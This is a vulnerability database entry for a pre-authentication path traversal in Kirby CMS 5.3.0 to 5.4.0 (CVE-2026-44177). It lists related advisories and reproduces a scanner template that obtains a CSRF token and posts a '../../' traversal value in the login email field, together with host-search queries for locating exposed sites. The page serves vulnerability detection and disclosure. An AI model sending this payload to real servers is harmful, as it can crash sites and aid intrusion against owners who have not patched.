Kirby CMS 5.3.0-5.4.0 - Path Traversal
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2026-44177 | 16 Jul 202621:19 | – | attackerkb | |
| CVE-2026-44177 | 16 Jul 202622:53 | – | circl | |
| CVE-2026-44177 | 16 Jul 202621:19 | – | cve | |
| CVE-2026-44177 Kirby: Pre-authentication path traversal and PHP file inclusion during user lookup | 16 Jul 202621:19 | – | cvelist | |
| EUVD-2026-45049 | 16 Jul 202621:19 | – | euvd | |
| Kirby CMS has pre-authentication path traversal and PHP file inclusion during user lookup | 26 May 202623:56 | – | github | |
| CVE-2026-44177 | 16 Jul 202622:17 | – | nvd | |
| GHSA-9HX7-C53C-V6X8 Kirby CMS has pre-authentication path traversal and PHP file inclusion during user lookup | 26 May 202623:56 | – | osv | |
| PT-2026-43452 | 26 May 202600:00 | – | ptsecurity | |
| PHP Remote File Inclusion | 26 May 202623:56 | – | snyk |
10
id: CVE-2026-44177
info:
name: Kirby CMS 5.3.0-5.4.0 - Path Traversal
author: str4k3r
severity: high
description: |
Kirby CMS versions 5.3.0 through 5.4.0 are vulnerable to a path traversal vulnerability via the /api/auth/login endpoint. An unauthenticated attacker may supply a specially crafted email value in the request body containing traversal sequences (such as "../.."), which the application concatenates directly into a filesystem path when hydrating user objects. This can result in the resolution of paths outside the intended accounts directory and may lead to the inclusion of unintended files such as index.php, causing a denial of service by exhausting memory limits. The issue is addressed in version 5.4.1 by properly validating and sanitizing the user-supplied input to prevent directory traversal.
impact: |
Attackers can include arbitrary PHP files and fingerprint server directories, potentially leading to code execution or information disclosure.
remediation: |
Update to version 5.4.1 or later.
reference:
- https://github.com/getkirby/kirby/security/advisories/GHSA-9hx7-c53c-v6x8
- https://github.com/getkirby/kirby/releases/tag/5.4.1
- https://nvd.nist.gov/vuln/detail/CVE-2026-44177
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
cvss-score: 8.8
cve-id: CVE-2026-44177
epss-score: 0.00702
epss-percentile: 0.50734
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
product: kirby
vendor: getkirby
shodan-query: http.favicon.hash:987600836
fofa-query: icon_hash="987600836"
tags: cve,cve2026,kirby,cms,lfi,traversal
http:
- raw:
- |
GET /panel/installation HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: csrf
part: body
group: 1
regex:
- '"csrf":"([a-f0-9]+)"'
internal: true
- raw:
- |
POST /api/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
X-CSRF: {{csrf}}
{"email":"../../","password":"x","long":false}
matchers-condition: or
matchers:
- type: word
part: body
words:
- "currently offline due to an unexpected error"
- type: word
part: body
words:
- "Allowed memory size of"
- "bytes exhausted (tried to allocate"
condition: and
# digest: 490a00463044022048749b041d884d8af23f8ceed51bc3da8c0853ad1051d6fa81cf6fc0ec2053a402207f746b66f2382b60f10a0c5b8c9a3e74516b42b46208aa19500713d9f469b738:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Aug 2026 13:21Current
5.9Medium risk
Vulners AI Score5.9
CVSS 48.8
EPSS0.0177
SSVC